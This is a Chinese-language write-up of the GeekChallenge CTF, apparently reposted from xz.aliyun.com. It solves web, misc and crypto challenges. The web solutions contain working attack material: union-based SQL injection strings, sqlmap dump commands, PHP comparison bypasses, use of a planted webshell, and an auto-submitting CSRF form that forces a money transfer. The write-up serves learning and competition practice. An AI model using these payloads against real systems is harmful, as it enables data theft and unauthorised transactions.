GeekChallenge
2023-2-16 15:28:0 Author: xz.aliyun.com(查看原文) 阅读量:16 收藏

1.web

1.朋友的学妹

url:http://49.234.224.119:7413/

右键点击查看源码,找到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9

然后base64解码得到SYC{[email protected]_4s_h4Lpfullllll}

2.EZwww

url:http://47.100.46.169:3901/

根据网站提示备份是个好习惯,猜测可以进行敏感文件扫描

在此使用御剑,发现www.zip文件

访问该文件下载并解压得到flag文件

打开得到flag:SYC{th1s_1s_4_f4ke_fl4g},这个falg是错误的

打开index.php文件,审计代码发现

这段代码的意思是对该段字符串”c3ljbDB2ZXI=“进行base64解码,结果为sycl0ver,并且以post的方式提交数据a=sycl0ver,

即可得到正确的flag:SYC{Backup_1s_4_good_h4bit_l0l}

3.刘壮的黑页

url :http://106.54.75.217:8080/

访问该网站,根据提示”你听说过请求方式吗“,可以判断跟GET/POST请求有关

往下翻查看源代码

这段代码的意思是当用GET方式提交admin值为username参数,用POST方式提交syclover值为password参数时,就会输出flag

得到flag为SYC{d0_y0u_k0nw_GET?}

4.欢迎

url:http://49.234.224.119:8000/

根据提示知道不能用GET请求,所以我们可以用burp抓包,修改为POST请求,放包

得到一段源代码,审查该代码

此段代码是shal加密函数绕过,意思是说需要提交的参数

前一句roam1与roam2的值或者类型不相同

后一句roam1与roam2的值和类型都相同

参考

x !== y 绝对不等于 如果 x 不等于 y,或它们类型不相同,则返回 true 5!=="5" 返回 true
x === y 绝对等于 如果 x 等于 y,且它们类型相同,则返回 true 5==="5" 返回 false

因为在php中sha1函数无法处理数组,当处理数组时会返回false

两者都为false即可绕过强比较

构造语句,POST方式提交

roam1[]=1&roam2[]=2

得到phpinfo页面,搜索,发现这个文件有问题f1444aagggg.php

通过burp,使用POST方式,访问该文件得到flag:SYC{[email protected]_php1}

5.EZgit

url:http://47.100.46.169:3902/

根据提示,本题与git文件泄露有关

下载GitHack-master,使用GitHack.py进行扫描目标网站(注意:这个脚本只能使用python2运行,python3无法运行)

然而并没有得到正确flag

访问http://47.100.46.169:3902/.git/

后来知道是git版本错误,更换工具Git_Extract-master

kali里输入:

git clone https://github.com/style-404/Git_Extract.git

cd Git_Extract

dir

python2 git_extract.py http://47.100.46.169:3902/.git/

得到flag:SYC{I_l0ve_sycl0ver_l0l}

6.我是大黑客

url:http://39.106.144.160:100/

访问网页,发现liuzhuang.php.bak文件

浏览器访问该文件

下载下来打开,是一句话木马

浏览器访问http://39.106.144.160:100/liuzhuang.php

使用蚁剑进行连接,打开终端

cd ../../退出到根目录

find flag查找flag文件

cat flag查看flag文件得到flag:SYC{1iuzHuang_yyd_G0d!}

7.ezbypass

url:http://49.234.224.119:7417/

浏览页面,根据提示要以GET方式提交a和b两个变量,并且与strcmp的值比较,并让strcmp返回NULL值

注意a和b不能相等

strcmp()函数只有在相等的情况下返回0。 当strcmp函数比较出错的时候就会返回NULL(也就是0)值

构造url:http://49.234.224.119:7417/?a=1&b=2

努力,构造url:http://49.234.224.119:7417/?a[]=1&b=2

根据提示,以POST方式提交一个不是数字的变量c=123a

php弱比较(==) 若字符串以数字开头,则取开头数字作为转换结果,若无则输出0

得到flag:SYC{php_4s_so_funny}

8.带恶人六撞

url:http://49.234.224.119:7415/

根据提示,数据库里有大家关于他的描述

与数据库有交互的地方就有可能产生SQL注入

第一种方式手注

直接构造?id=1页面正常

直接构造?id=1'页面报错

此处存在SQL注入

第一种方法,手注

判断字段数为4

?id=1' order by 4-- q

判断回显点,我们可以在1,2,4处查询我们想要的内容

?id=-1' union select 1,2,3,4-- q

查询数据库名为geek_sql

?id=-1' union select 1,2,3,database()-- q

查询数据表名为blog,fllllag

?id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()-- q

查询fllllag表下的字段名为id,fllllllag

?id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fllllag'-- q

查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang4s@[email protected]}

?id=-1' union select 1,2,3,group_concat(fllllllag) from fllllag-- q

第二种方式sqlmap跑

查询数据库名为geek_sql

Sqlmap -u http://49.234.224.119:7415/?id=1 --dbs --batch

查询数据库geek_sql的数据表名为blog,fllllag

Sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql --tables --batch

查询fllllag表下的字段名为id,fllllllag

Sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql -T fllllag --columns --batch

查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang4s@[email protected]}

Sqlmap -u http://49.234.224.119:7415/?id=1 -D geek_sql -T fllllag -C fllllllag --dump --batch

9.flagshop

url:http://173.82.206.142:8005/index.php

根据提示使用用admin账号登录,盲猜密码admin,成功,也可用burp爆破

在主页的flag商店页面,下拉,点击购买flag的链接

考点:csrf(跨站脚本攻击)

提示:

没有sessionid!别想当管理员(机器人?)

你知道csrf吗?

通过提示知道不需要通过伪造session来成为管理获得钱

进入页面,进行登录注册到达主页

可以看到购买flag需要10000M

可以通过Longlone(财务部部长)账户进行突破

跳转到报告页面

可以看到这里是普通用户和Longlone用户可以交互的地方

当我们提交报告中有链接时,他就会点击链接

这时候就要构造csrf来进行金币盗取

查看表单信息

验证码通过python脚本撞md5得到

import hashlib

for i in range(9999999):
    md5_ins = hashlib.md5((str(i)).encode('utf-8'))
    a=md5_ins.hexdigest()
    if a[:5] == "6d996":
        print(i)
        break

构造csrf脚本

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="re1wn" />
      <input type="hidden" name="money" value="100000000000000000000000000000" />
      <input type="hidden" name="messages" value="nihao" />
      <input type="submit" value="Submit request" id="click"/>
    </form>
    <script type="text/javascript">
      document.getElementById("click").click();
    </script>
  </body>
</html>

提交到自己的服务器上,在将链接通过报告提交

过一会就会得到自己需要的钱,直接购买flag即可

得到flag:SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

10.忏悔的刘壮

漏洞url: http://120.79.197.4:5000/do_answer

考点:爬虫

题目,每次选择一个选项有1/6概率成功

当一次失败后又会重新累计忏悔次数

查看请求头,知道了每次get访问时cookie中就有答案

写出爬虫脚本带着cookie中的答案多次提交

import requests

def request_func(req):
    request_n = request.post("http://120.79.197.4:5000/check",data=req.cookies)
    print(request_n.text)
    return request_n

request = requests.session()
req = request.get("http://120.79.197.4:5000/")
req2 = request.post("http://120.79.197.4:5000/check",data=req.cookies)
print(req2.text)
need_req = request_func(req2)
i = 0
while i < 20:
    i += 1
    need_req = request_func(need_req)

在20次忏悔后得到了flag

SYC{this_is_your_flag}

2.Misc

2.壮言壮语

根据题目给出的信息

佛曰:豆梵能佛冥謹沙怯隸道等孕喝伽訶恐奢耶尼殿怯怖奢三缽南怛缽娑皤寫數皤究呐者醯皤勝孕皤顛皤耶夜哆悉侄羯涅悉怯老若俱勝菩知菩所蘇奢以梵世心亦呐耨夷哆至哆醯即波怯明除怯闍怯集怯尼明皤實怯一心缽呼侄羯夢室諳耨呐提迦梵都都呐孕礙諳那呐彌豆缽智遮諳槃提伽俱穆離冥伊冥那藐罰摩迦諳有諳盡即怯多逝侄婆冥涅神

可以猜测是佛文解密,利用在线网站

http://www.keyfc.net/bbs/tools/tudoucode.aspx

将解码的密文放在下面框里,点击"参悟佛所言的真意"

得到flag:SYC{i_l0ve_Japanese_wife}

3.Crypto

2.铠甲与萨满

根据提示,猜测是凯撒密码,利用在线解密网站

http://www.atoolbox.net/Tool.php?Id=778

对密文进行解密,解密两次,得到flag:SYC{liuzhuangliuzhuang_bangbangbang}

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。


文章来源: https://xz.aliyun.com/t/12172
如有侵权请联系:admin#unsafe.sh